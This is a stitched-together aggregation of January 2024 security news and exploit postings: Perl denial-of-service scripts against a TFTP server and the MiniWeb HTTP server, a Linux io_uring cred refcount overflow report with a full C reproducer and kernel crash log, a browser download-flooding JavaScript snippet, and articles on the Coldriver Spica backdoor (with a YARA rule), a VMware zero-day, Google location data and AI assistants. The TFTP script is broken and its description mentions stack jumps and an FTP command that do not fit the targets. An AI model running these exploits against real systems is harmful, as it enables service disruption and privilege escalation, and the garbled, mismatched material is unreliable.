ProSysInfo TFTP Server TFTPDWIN version 0.4.2 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 20 january 2024  
# Vendor Homepage:  N/A  
# Download to demo: https://drive.google.com/file/d/1MLqBkCyu0dA-cNgYxCAO8xbsVcof060Z/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: ProSysInfo TFTP Server TFTPDWIN 0.4.2  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=BuONti1AWoU

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The TFTP server does not correctly handle the amount of data or bytes sent..  
#When authenticating to the TFTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

        print "[+] Exploiting... \n";

    my $payload = "\x41"x520;

my $socket = IO::Socket::INET->new(  
    PeerAddr => $tftp_server,  
    PeerPort => 69,  
    Proto    => 'udp'  
) die "Não foi possível conectar ao servidor TFTP: $!\n" unless $socket;

    print $ftp_socket $buffer;

    close($socket);

    print "[+] Done - Exploited success!!!!!\n\n";

     sub intro {  
      print "######################################################################\n";  
      print "#                                                                    #\n";        
      print "#     ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Denied of Service      #\n";  
      print "#                                                                    #\n";  
      print "#                       Coded by Fernando Mengali                    #\n";  
      print "#                                                                    #\n";  
      print "#                 e-mail: fernando.mengalli\@gmail.com               #\n";  
      print "#                                                                    #\n";  
      print "######################################################################\n";  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

#3. Solution/ How to fix:

# This version product is deprecated

ProSysInfo TFTP Server TFTPDWIN 0.4.2 Denial Of Service

Russian state-sponsored actor Coldriver uses spear phishing attacks to install the Spica backdoor on victim systems.

Researchers at Google’s Threat Analysis Group (TAG) have published their findings about a group they have dubbed Coldriver. The main targets of the Coldriver group are high-profile individuals in non-governmental organizations (NGOs), former intelligence and military officials, and NATO governments. These targets are approached in spear phishing attacks.

The group uses social engineering techniques to persuade their targets to open documents or download malware. Their activities are aligned with those of the Russian government, so it’s pretty safe to say that Coldriver is a state-sponsored group.

In December 2023, the US charged two Russians believed to be members of this group, for their role in a campaign that hacked government accounts.

Microsoft, who tracks the group as Star Blizzard, says the group targets individuals and organizations involved in international affairs, defense, and logistics support to Ukraine, as well as academia, information security companies, and other entities aligning with Russian state interests.

Typically, the group creates an impersonation account that pretends to be an expert in a field the target might be interested in or that is somehow affiliated with the target. Once a relationship has been established, the target will receive a phishing link or a document containing such a link.

To gain trust, Coldriver uses social media and professional marketing systems to build a profile of its target. With that information the group sets up email contacts, social media and other networking accounts that align with the target’s interests and appear legitimate.

Coldriver uses webmail addresses from different providers, including Outlook, Gmail, Yahoo and Proton Mail in the initial approach, impersonating known contacts of the target or well-known names in the target’s field of interest or sector. The group is also known to register malicious domains that mimic legitimate organizations.

Recently, TAG has noticed that the group uses “lure documents” to install a backdoor on the target’s system. These lure documents, which are harmless PDF files, are sent to the target, but when they open them the content appears to be encrypted.

When the target queries about the encryption, Coldriver sends the target a link to a decryption utility, typically hosted on a cloud storage site. This so-called decryption utility shows the target a normal PDF file, so that it appears as if the original was decrypted, but at the same time it installs a backdoor.

This backdoor is custom malware, likely developed by or for Coldriver, called Spica. Spica is written in the Rust programming language and supports, among others, these commands:

*   Execute arbitrary shell commands
*   Steal cookies from Chrome, Firefox, Opera, and Edge
*   Upload and download files
*   Analyze the filesystem by listing the content
*   Enumerate documents and copy them to an archive

The backdoor establishes persistence through an obfuscated PowerShell command that creates a scheduled task named CalendarChecker.

TAG suspects but has been unable to verify that there are multiple variants of Spica: one to match each lure document sent to targets.

**YARA rule**

YARA is a tool that can identify files that meet certain conditions. It is mainly in use by security researchers to classify malware.

TAG has created a YARA rule that cab help find the Spica backdoor.

rule SPICA\_\_Strings {  
meta:

author = “Google TAG”  
description = “Rust backdoor using websockets for c2 and embedded decoy PDF”  
hash = “37c52481711631a5c73a6341bd8bea302ad57f02199db7624b580058547fb5a9”  
strings:  
$s1 = “os\_win.c:%d: (%lu) %s(%s) – %s”  
$s2 = “winWrite1”  
$s3 = “winWrite2”  
$s4 = “DNS resolution panicked”  
$s5 = “struct Dox”  
$s6 = “struct Telegram”  
$s8 = “struct Download”  
$s9 = “spica”  
$s10 = “Failed to open the subkey after setting the value.”  
$s11 = “Card Holder: Bull Gayts”  
$s12 = “Card Number: 7/ 3310 0195 4865”  
$s13 = “CVV: 592”  
$s14 = “Card Expired: 03/28”

$a0 = “agent\\\\src\\\\archive.rs”  
$a1 = “agent\\\\src\\\\main.rs”  
$a2 = “agent\\\\src\\\\utils.rs”  
$a3 = “agent\\\\src\\\\command\\\\dox.rs”  
$a4 = “agent\\\\src\\\\command\\\\shell.rs”  
$a5 = “agent\\\\src\\\\command\\\\telegram.rs”  
$a6 = “agent\\\\src\\\\command\\\\mod.rs”  
$a7 = “agent\\\\src\\\\command\\\\mod.rs”  
$a8 = “agent\\\\src\\\\command\\\\cookie\\\\mod.rs”  
$a9 = “agent\\\\src\\\\command\\\\cookie\\\\browser\\\\mod.rs”  
$a10 = “agent\\\\src\\\\command\\\\cookie\\\\browser\\\\browser\_name.rs”  
condition:  
7 of ($s\*) or 5 of ($a\*)  
}

Our business solutions remove all remnants of ransomware and prevent you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

 Coldriver threat group targets high-ranking officials to obtain credentials 

A list of topics we covered in the week of January 15 to January 21 of 2024

Skip to content

*   Contact Us
    *   Personal Support
    *   Business Support
    *   Talk to Sales
    *   Contact Press
    *   Partner Programs
    *   Submit Vulnerability
*   Company
    *   About Malwarebytes
    *   Careers
    *   News & Press
*   Sign In
    *   **MyAccount sign in:** manage your personal or Teams subscription >
    *   **Cloud Console sign in:** manage your cloud business products >
    *   **Partner Portal sign in:** management for Resellers and MSPs >

*   Personal
*   Business
    
    < Business
    
    BUNDLES
    
    *   Core
    *   Prevent and remediate threats and identify vulnerabilities
    *   Advanced
    *   Utilize threat guidance and patch management plus everything in **Core**
    *   Elite
    *   Deploy Managed Detection and Response plus everything in **Advanced**
    *   Ultimate
    *   Protect against categories of malicious websites plus everything in **Elite**
    
    TECHNOLOGY HIGHLIGHTS
    
    *   Managed Detection & Response (MDR)
    *   Deploy fully-managed threat monitoring, investigation, and remediation
    *   Endpoint Detection & Response (EDR)
    *   Prevent more attacks with security that catches what others miss
    *   Security Advisor
    *   Visualize and optimize your security posture in just minutes
    *   For Education
    *   Secure your students and institution against cyberattacks
    
    Learn more about Security Advisor (available in every bundle) and see the full list of our products and services.
    
    Full technology list >
    
*   Pricing
    
    < Pricing
    
    Protect your personal devices and data
    
    Protect your team’s devices and data
    
    Explore our award-winning endpoint security products, from EP to EDR to MDR
    
*   Partners
*   Resources
    
    *   Reviews
    *   Analyst Reports
    *   Case Studies
    
*   Support
    
    Featured Content
    
    *   Activate Malwarebytes Privacy on Windows device.
    

**RELATED ARTICLES**

January 22, 2024 - Russian state-sponsored actor Coldriver uses spear phishing attacks to install the Spica backdoor on victim systems.

January 20, 2024 - A nonprofit study claims that Google is failing to delete location history that reveals users' physical trips to abortion clinics.

January 19, 2024 - Google wants you to know you can still be tracked when you're incognito.

January 19, 2024 - CISA has added two Citrix NetScaler vulnerabilities to its vulnerability catalog, with a very short deadline to patch.

January 18, 2024 - Google has issued a security update for the Chrome browser that includes a patch for one zero-day vulnerability.

 A week in security (January 15 &#8211; January 21) 

By Owais Sultan
We are now at the age of advanced AI assistants. This unique software significantly simplifies our everyday tasks,…
This is a post from HackRead.com Read the original post: Evolution of AI Assistants: Navigating Breakthroughs in Software Development

We are now at the age of advanced AI assistants. This unique software significantly simplifies our everyday tasks, providing us with time to focus on the most important aspects of life.

This article will help you explore the history of AI’s evolution from the first chatbot to smart virtual assistants capable of making their own decisions. We’ll also share information about the future of the AI industry.

****First AI Assistants****

Software developers started working on the first virtual assistants in the late 1960s. These chatbots laid the background for future innovations and industry development.

****ELIZA****

In 1966, Joseph Weizenbaum developed the prototype of a virtual assistant. His chatbot was able to simulate a conversation with a real psychotherapist. Although the AI’s answers often didn’t sound natural, it was the first step toward developing digital companions.

****PARRY****

PARRY is another chatbot constructed in 1972. Unlike ELIZA, this AI was simulating a person who has paranoid schizophrenia. At the same time, it could understand the majority of user’s requests and provide corresponding answers.

****Improved Digital Assistants****

A new stage of AI’s development started with the release of the first personal digital assistants (PDAs). In the 1990s, many companies introduced compact devices such as Palm Pilot and Apple Newton. Although these companions couldn’t recognize the owner’s voice, they provided the possibility to manage information more efficiently.

Together with PDAs, IT experts worked on constructing and improving interactive voice response systems (IVRs). This innovation played a crucial part in the automation of customer service. It finally allowed companies to use computers to interact with their clients.

Software developers used the advantages of both PDA and IVR technologies while working on improved AI assistants. Later, these advanced digital companions became an integral part of all smartphones.

****Siri****

Apple introduced its virtual assistant in 2011. The release of Siri changed the AI industry and opened the age of new impressive developments. Unlike its ancestors, this digital companion could understand and respond to voice commands. Moreover, Siri could be used to write messages, set reminders, and look for helpful information on the Internet.

****Google Now****

After Apple’s invention, Google also launched its own assistant in 2012. Thanks to machine learning technology, Google Now could provide its users with personalized news, traffic reports, and weather forecasts.

****Cortana****

Finally, in 2014, Microsoft released Cortana. This AI assistant wasn’t as popular as Google and Apple’s products, but it could still understand voice commands and execute them.

****Development of Voice Assistants****

The rapid evolution of portable gadgets and smart AI companions inspired companies to develop special voice assistants. Most gadgets, such as speakers and laptops, were designed with them. This innovation significantly contributed to the evolution of artificial intelligence and the popularization of smart homes.

****Amazon Alexa****

Alexa became a virtual assistant developed for Amazon Echo in 2014. This companion could read news, turn on music on the connected devices, and manage smart home appliances.

****Google Assistant****

In 2016, Google replaced Google Now with an improved Google Assistant. This companion was implemented in Google Home smart speakers. This assistant had similar features to Amazon Alexa. At the same time, it could answer different questions, look for recipes, and set timers.

****Modern World of AI Assistants****

The massive popularization of AI assistants began with OpenAI’s GPT-3 release in 2020. The digital companion can generate human-like messages and discuss almost all topics. Additionally, GPT-3 can generate simple lines of code, articles, video plots, etc.

OpenAI has already developed GPT-4, which is even more intelligent than its predecessor. The upgraded AI assistant can also work with images and generate visual content.

The impressive popularity of OpenAI’s product resulted in the rapid development of other digital companions. ChatGPT’s main competitors are Microsoft’s Bing, Google’s Bard, and Baidu’s Ernie. However, dozens of other projects also aim to build powerful AI assistants.

****Bright Future of Digital Companions****

Many businesses use artificial intelligence software development services to implement AI companions in their online products. These assistants can significantly boost user experience by providing services that consider each client’s interests and preferences.

In addition, AI software is often used to develop smart voice-activated systems to deal with customer inquiries. Modern businesses use them as a cost-efficient substitute for traditional call centers.

Considering all the benefits of virtual assistants, the further development of this technology looks promising. It’s expected that 80% of businesses will adopt intelligent automation by 2025. Thus, we should expect to see smarter and more advanced AI companions in the near future. 

****Conclusion****

Virtual assistants evolved from simple chatbots to advanced digital companions. Now, they can provide more natural and useful answers due to the possibility of understanding our emotions and slang, and the development of new technologies and the growing popularity of AI software will undoubtedly lead to the release of even smarter digital companions.

1.  **McAfee’s Mockingbird AI Tool Detects Deepfake Audio**
2.  **12 Best AI-powered Customer Communication Platforms**
3.  **Volkswagen Goes AI, Integrates ChatGPT into its Vehicles**
4.  **AI in Healthcare: ChatGPT Helps Boy Get Diagnosis After Doctors Fail**
5.  **How Collaboration Across Platforms Could Supercharge AI Performance**

Evolution of AI Assistants: Navigating Breakthroughs in Software Development

A nonprofit study claims that Google is failing to delete location history that reveals users' physical trips to abortion clinics.

Nearly 16 months after Google announced a policy change to remove location data that could reveal users’ physical trips to abortion clinics and other potentially sensitive medical centers, a nonprofit has alleged in a new report that the company is failing to do just that.

The findings, which were immediately disputed by Google, could impact whether Americans feel they can privately search for and access abortion care in several states across the US, should their digital activity be requested by law enforcement as evidence of a crime. In June 2022, the US Supreme Court overruled its 1973 decision of Roe v. Wade, which had, for decades, conferred the public’s constitutional right to choose to have an abortion; many states have now banned the procedure.

In a press release issued by Accountable Tech, which conducted the study, executive director and cofounder Nicole Gill lambasted Google for its alleged failure to keep users safe from the weaponization of their location data.

“Knowing they are complicit in the criminalization of essential care, Google has made promises to improve their privacy policies,” Gill said in a press release. “But proof that they continue to fall short makes it clear that they cannot be trusted to protect the millions of users who rely on their products everyday.”

But in responding to a report from The Guardian, which claimed to have exclusively reviewed Accountable Tech’s research, Google pushed back.

“We are upholding our promise to delete particularly personal places from Location History if these places are identified by our systems—any claims that we’re not doing so are patently false or misguided,” said Marlo McGriff, director of product for Google Maps.

At heart is whether Google is doing as it said it would in July 2022—auto-deleting location history entries for users who visit “medical facilities like counseling centers, domestic violence shelters, abortion clinics, fertility centers, addiction treatment facilities, weight loss clinics, cosmetic surgery clinics, and others,” so long as Google’s internal systems detect such a visit.

According to Accountable Tech’s study, which ran eight experiments in seven different states, “Google retained Location History data about 50% of the time.” For its research, the nonprofit purchased new Android phones and set up default privacy settings before physically traveling to Planned Parenthood locations. In four of the eight visits to Planned Parenthood clinics, Google deleted the _name_ of the clinic in the user’s location history, but the _route_ that was traveled remained.

The study also claimed that location _searches_ were not deleted, sharing a screenshot from a user’s “Web & App activity timeline” that showed the text:

> “Directions to Planned Parenthood – Locust Street Surgical Center, 1144 Locust St, Philadelphia, PA 19107.”

In responding to examples from Accountable Tech’s study that The Guardian shared, Google Maps director of product McGriff explained that Google’s systems did not detect that a user had visited a Planned Parenthood, and so the route to and from that Planned Parenthood was not deleted.

Google’s 2022 policy change was a direct response to the US Supreme Court’s decision in Dobbs v. Jackson Women’s Health Organization, which placed the legality of abortion access in the control of individual states.

As of early this year, 14 states, including Louisiana, Alabama, Idaho, and Indiana, have banned abortion in nearly all circumstances, according to The New York Times. An additional seven states have placed additional restrictions. The changes have pushed countless residents to leave their homes or violate state laws to seek healthcare.

When the Lock and Code podcast spoke with two experts in digital privacy and law from Electronic Frontier Foundation, both agreed on how the public could more safely navigate a post-Roe America: Say less.

Less than one month after recording that podcast, Facebook reportedly delivered messages to law enforcement that were between a mother and daughter who were under investigation for allegedly aborting a pregnancy.

Accountable Tech’s CEO Gill said this is the new landscape that Americans face.

“In post-Roe America, prosecutors are looking to Big Tech to help them build cases against abortion seekers by providing the data to track their every movement,” Gill said. “We deserve to have power over our own data, and we must fight to prevent a handful of powerful Big Tech companies from weaponizing our private information against us.”

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 Google failing to scrub abortion access in location history, study claims 

An advanced China-nexus cyber espionage group previously linked to the exploitation of security flaws in VMware and Fortinet appliances has been linked to the abuse of a critical vulnerability in VMware vCenter Server as a zero-day since late 2021.
"UNC3886 has a track record of utilizing zero-day vulnerabilities to complete their mission without being detected, and this latest example further

Zero Day / Cyber Espionage

An advanced China-nexus cyber espionage group previously linked to the exploitation of security flaws in VMware and Fortinet appliances has been linked to the abuse of a critical vulnerability in VMware vCenter Server as a zero-day since late 2021.

"UNC3886 has a track record of utilizing zero-day vulnerabilities to complete their mission without being detected, and this latest example further demonstrates their capabilities," Google-owned Mandiant said in a Friday report.

The vulnerability in question is CVE-2023-34048 (CVSS score: 9.8), an out-of-bounds write that could be put to use by a malicious actor with network access to vCenter Server. It was fixed by the Broadcom-owned company on October 24, 2023.

The virtualization services provider, earlier this week, updated its advisory to acknowledge that "exploitation of CVE-2023-34048 has occurred in the wild."

UNC3886 first came to light in September 2022 when it was found to leverage previously unknown security flaws in VMware to backdoor Windows and Linux systems, deploying malware families like VIRTUALPITA and VIRTUALPIE.

The latest findings from Mandiant show that the zero-day weaponized by the nation-state actor targeting VMware was none other than CVE-2023-34048, allowing it to gain privileged access to the vCenter system, and enumerate all ESXi hosts and their respective guest virtual machines attached to the system.

The next phase of the attack involves retrieving cleartext "vpxuser" credentials for the hosts and connecting to them in order to install the VIRTUALPITA and VIRTUALPIE malware, thereby enabling the adversary to directly connect to the hosts.

This ultimately paves for the exploitation of another VMware flaw, (CVE-2023-20867, CVSS score: 3.9), to execute arbitrary commands and transfer files to and from guest VMs from a compromised ESXi host, as revealed by Mandiant in June 2023.

VMware vCenter Server users are recommended to update to the latest version to mitigate any potential threats.

In recent years, UNC3886 has also taken advantage of CVE-2022-41328 (CVSS score: 6.5), a path traversal flaw in Fortinet FortiOS software, to deploy THINCRUST and CASTLETAP implants for executing arbitrary commands received from a remote server and exfiltrating sensitive data.

These attacks specifically single out firewall and virtualization technologies owing to the fact that they lack support for endpoint detection and response (EDR) solutions in order to persist within target environments for extended periods of time.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Chinese Hackers Silently Weaponized VMware Zero-Day Flaw for 2 Years

Linux versions 5.6 and above appear to suffer from a cred refcount overflow when handling approximately 39 gigabytes of memory usage via io_uring.

    Linux >=5.6: cred refcount overflow at ~39 GiB memory usage via io_uring(see also my related prior bug reports about overflowing refcounts with lotsof RAM usage:https://crbug.com/project-zero/809: BPF program refcount, with ~32GiB RAMhttps://crbug.com/project-zero/1752: page->refcount via FUSE with ~140GiB RAM)Since commit 071698e13ac6 (\"io_uring: allow registering credentials\"), landedin 5.6, it has been possible to grab references to `struct cred` veryefficiently - by repeatedly calling the syscall`io_uring_register(fd, IORING_REGISTER_PERSONALITY, NULL, 0)`, it is possibleto register up to 0xffff refcounted pointers to `struct cred` in an xarray(or in older kernel versions, in an IDR). These pointers can all be pointingto the same `struct cred`.By using a bunch of io_uring instances, that makes it possible to create alot of refcounted references to `struct cred` at a very efficient and lowamortized memory cost of less than 10 bytes per reference.`struct cred` is refcounted using the member `atomic_t usage`, which is aplain signed 32-bit atomic counter with no overflow checking.I believe there is some history here where Elena Reshetova and Kees Cook havebeen trying to turn it into a `refcount_t`, which would also fix this kind ofissue by marking the refcount as \"saturated\" when it reaches 2^31 and thennever freeing the object. Most recently there was this thread, where Keestried to get that change in; there was some discussion, but I don't thinkanything has landed so far:<https://lore.kernel.org/all/20230818041740.gonna.513-kees@kernel.org/>So by using ~39 GiB of physical memory, it is possible to store 2^32references to `struct cred` and overflow the reference counter. That's notexactly a small amount of RAM, but I guess a lot of servers probably have thatmuch RAM? At least cloud providers like AWS sell machines with much more RAMthan that.I am including as recipients both akpm (who is the maintainer forkernel/cred.c and was involved in the linked discussion) and the io_uringmaintainers (though io_uring, in my opinion, isn't really where the core issuehere lies, but it happened to make it possible to hit this overflow using afairly small amount of physical memory).Reproducer (compile with -pthread; requires ~39GiB of physical RAM, I tested itin a VM so that the host machine could swap a bit):============#define _GNU_SOURCE#include <pthread.h>#include <unistd.h>#include <err.h>#include <fcntl.h>#include <string.h>#include <stdio.h>#include <stdlib.h>#include <ctype.h>#include <signal.h>#include <sys/syscall.h>#include <sys/wait.h>#include <sys/prctl.h>#include <sys/mman.h>#include <sys/resource.h>#include <sys/eventfd.h>#include <linux/io_uring.h>#define SYSCHK(x) ({          \\  typeof(x) __res = (x);      \\  if (__res == (typeof(x))-1) \\    err(1, \"SYSCHK(\" #x \")\"); \\  __res;                      \\})// power of 2#define PARALLELISM 4static int efd;static void *thread_fn(void *dummy) {  for (long refcount = 0; refcount < (1UL<<32)/PARALLELISM;) {    struct io_uring_params params = {      .flags = IORING_SETUP_NO_SQARRAY    };    int uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/40, &params));    printf(\"uring_fd = 0x%x\\", (unsigned int)uring_fd);    for (int i=0; i<0xffff; i++, refcount++)      SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PERSONALITY, NULL, 0));  }  printf(\"one thread ready\\");  eventfd_write(efd, 1);  while (1) pause();}int main(void) {  setbuf(stdout, NULL);  sync();  struct rlimit rlim;  SYSCHK(getrlimit(RLIMIT_NOFILE, &rlim));  if (rlim.rlim_max < 65550)    printf(\"WARNING: RLIMIT_NOFILE maximum is probably too low\\");  rlim.rlim_cur = rlim.rlim_max;  SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim));  efd = SYSCHK(eventfd(0, 0));  pthread_t threads[PARALLELISM];  for (int i = 0; i < PARALLELISM; i++) {    if (pthread_create(threads+i, NULL, thread_fn, NULL))      errx(1, \"pthread_create\");  }  for (int i=0; i<4;) {    eventfd_t val;    SYSCHK(eventfd_read(efd, &val));    i += val;  }  printf(\"refs should have wrapped. press ctrl+c for uaf on cleanup.\\");  while (1)    pause();}============The reproducer takes a while to run; when it's done and the cred refcount hasbeen wrapped, you can press ctrl+c to make the process exit, which willrepeatedly decrement the cred refcount until the cred refcount reaches zero(when there are actually 2^32 references remaining).At that point, it'll hit the `BUG_ON(cred == current->cred)` check in`__put_cred()`, since the reproducer doesn't go out of its way to avoid thischeck:============kernel BUG at kernel/cred.c:150!invalid opcode: 0000 [#1] PREEMPT SMPCPU: 2 PID: 580 Comm: uring-credref Not tainted 6.7.0-rc3 #362Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014RIP: 0010:__put_cred+0x55/0x60Code: 87 a0 00 00 00 85 c0 74 0c 48 81 c7 a0 00 00 00 e9 b0 fe ff ff 48 81 c7 a0 00 00 00 48 c7 c6 40 39 0d b0 e9 9d 53 07 00 0f 0b <0f> 0b 0f 0b 0f 1f 80 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90RSP: 0018:ffffb2e382b5bcf0 EFLAGS: 00010246RAX: ffff8c4e21c6c080 RBX: ffff8c52fce02000 RCX: ffffb2e382b5bc94RDX: 0000000000000001 RSI: ffff8c52fce025c0 RDI: ffff8c4e1f2c2480RBP: ffff8c52fce025a8 R08: ffffb2e382b5bc98 R09: 0000000000000007R10: 0000000000000001 R11: 0000000000000001 R12: ffff8c52fce02040R13: ffff8c4e072fc520 R14: ffff8c576139c9c0 R15: ffff8c4e21c6c938FS:  0000000000000000(0000) GS:ffff8c598dd00000(0000) knlGS:0000000000000000CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033CR2: 000055a8bdfd1d70 CR3: 0000000411e47001 CR4: 0000000000770ef0PKRU: 55555554Call Trace: <TASK> [...] io_ring_ctx_wait_and_kill+0xa8/0x180 io_uring_release+0x20/0x30 __fput+0x92/0x2c0 task_work_run+0x5a/0x90 do_exit+0x36c/0xbc0 do_group_exit+0x37/0xa0 get_signal+0xbcf/0xbd0 arch_do_signal_or_restart+0x3e/0x270 exit_to_user_mode_prepare+0xba/0x110 syscall_exit_to_user_mode+0x21/0x50 do_syscall_64+0x52/0xf0 entry_SYSCALL_64_after_hwframe+0x6e/0x76RIP: 0033:0x7ff41d547d92Code: Unable to access opcode bytes at 0x7ff41d547d68.RSP: 002b:00007ff41d370e30 EFLAGS: 00000293 ORIG_RAX: 0000000000000022RAX: fffffffffffffdfe RBX: 000000004000bfff RCX: 00007ff41d547d92RDX: 0000000000000008 RSI: 00007ff41d370e38 RDI: 0000000000000000RBP: 000000000000ffc1 R08: 0000000000000000 R09: 0000008000000040R10: 0000000000000000 R11: 0000000000000293 R12: 000000004000bfffR13: 00007ff41d370e50 R14: 00007ff41d370e50 R15: 0000000000000000 </TASK>Modules linked in:---[ end trace 0000000000000000 ]---RIP: 0010:__put_cred+0x55/0x60Code: 87 a0 00 00 00 85 c0 74 0c 48 81 c7 a0 00 00 00 e9 b0 fe ff ff 48 81 c7 a0 00 00 00 48 c7 c6 40 39 0d b0 e9 9d 53 07 00 0f 0b <0f> 0b 0f 0b 0f 1f 80 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90RSP: 0018:ffffb2e382b5bcf0 EFLAGS: 00010246RAX: ffff8c4e21c6c080 RBX: ffff8c52fce02000 RCX: ffffb2e382b5bc94RDX: 0000000000000001 RSI: ffff8c52fce025c0 RDI: ffff8c4e1f2c2480RBP: ffff8c52fce025a8 R08: ffffb2e382b5bc98 R09: 0000000000000007R10: 0000000000000001 R11: 0000000000000001 R12: ffff8c52fce02040R13: ffff8c4e072fc520 R14: ffff8c576139c9c0 R15: ffff8c4e21c6c938FS:  0000000000000000(0000) GS:ffff8c598dd00000(0000) knlGS:0000000000000000CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033CR2: 000055a8bdfd1d70 CR3: 0000000411e47001 CR4: 0000000000770ef0PKRU: 55555554Fixing recursive fault but reboot is needed!============A use-after-free of `struct cred` should be exploitable; one method would beto try to get the freed object allocated again as the `struct cred` of aroot-privileged process, another method would be to try to reallocate theobject with a buffer containing attacker-controlled data somehow (and thenfake a full capability set in init_user_ns with UIDs set to zero).While one tempting easy fix here would be to close off avenues for gettinglots of references with little RAM (like somehow making io_uring reuse IDswith a local usage counter when userspace tries to insert the same`struct cred` into the xarray multiple times), I think that this example showshow fragile that method is. It requires knowing about all the variousreference paths that can hold references to `struct cred`, and what kinds ofmultipliers or global limits apply at every point in this reference graph.I think the kernel should be using some flavor of saturating refcounts as thedefault choice, at least on machines that have enough RAM to store 2^32pointers.If there are specific cases where the overhead is undesirable, I think weshould only omit such a check if we can document exactly how many referencescan exist at most, with enough warning comments scattered around to ensurethat the assumptions can't accidentally be broken inadvertently later on.(Or the kernel could limit SLUB to a maximum of 32 GiB of memory except forspecially marked slabs that store objects guaranteed to not hold multiplereferences to the same object, but I think people would probably hate thatidea.)(But note that refcount hardening also has value for protecting against bugswhere some repeatedly executed codepath forgets to decrement the refcount,letting it drift up until it wraps around; and that kind of bug is alsoexploitable without using ginormous amounts of RAM.)This bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2024-02-26.Found by: jannh@google.com

Linux 5.6 io_uring Cred Refcount Overflow

Firefox version 121 and Chrome version 120 may both suffer from a minor denial of service issue with file downloads.

    Minor firefox DoS - semi silently polluting ~/Downloads with files (part 2)Tested on: firefox 121 and chrome 120 on GNU/linuxDate: Thu Jan 18 08:38:28 AM UTC 2024This is barely a DoS, but since it might affect Chrome too we decidedto disclose it.If firefox user visits a specially crafted page, then firefoxmay create many files in `~/Downloads`,The user is notified about this in a small dialog, but there isno option to stop the downloads.The potential denial of service is that the user must manuallydelete the created files and this might be PITA especially ona phone.The code basically is:<pre>URL = "data:text/plain;,a";//can be very large with no net trafficlink = document.createElement('a');link.href = URL;link.download = 'joro_';document.body.appendChild(link);function f() {if( !confirm("This will ruin your device with probability up to 199.99%"))    return;setInterval("link.click();",1);//dobro}f();</pre>There is no network traffic and in about 90 seconds firefox 121 created3434 files at speed about 38 files/second.google chrome 120 prompts about multiple downloads, and if the userallows it, it creates files at speed of 4.2 files/second, butit gives modal prompts, which we couldn't close from the GUI andhad to kill the process.[Test online][1]: if you are vulnerable[1]: https://j.ludost.net/download2.html-- guninski

Firefox 121 / Chrome 120 Denial Of Service

MiniWeb HTTP Server version 0.8.1 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket;

# Exploit Title: MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 19 january 2024  
# Vendor Homepage:  N/A  
# Download to demo: https://drive.google.com/file/d/1AVHSlsYj5Ukw9co9M2Ql6RsqCTzbI038/view?usp=sharing    
# Notification vendor: No reported  
# Tested Version: MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS)  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denied of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=HbAy3RvHpAI

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.  
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

        print "[+] Exploiting... \n";

    my $payload = "\x41" x 2038;

    my $http_req = "POST /index.html HTTP/1.1\r\n";  
    $http_req .= "Host: $ip\r\n";  
    $http_req .= "From: header-data\r\n";  
    $http_req .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";  
    $http_req .= $payload;

my $socket = IO::Socket::INET->new(  
    PeerAddr => $host,  
    PeerPort => $port,  
    Proto    => 'tcp'  
) or die "[-] Could not connect\n";

$socket->send($http_req);  
$socket->close();

    print "[+] Done - Exploited success!!!!!\n\n";

     sub intro {  
      print q {

                            _/|       
                           // o\      
                           || ._)    
                           //__\     
                           )___(   

      [+] MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

MiniWeb HTTP Server 0.8.1 Denial Of Service

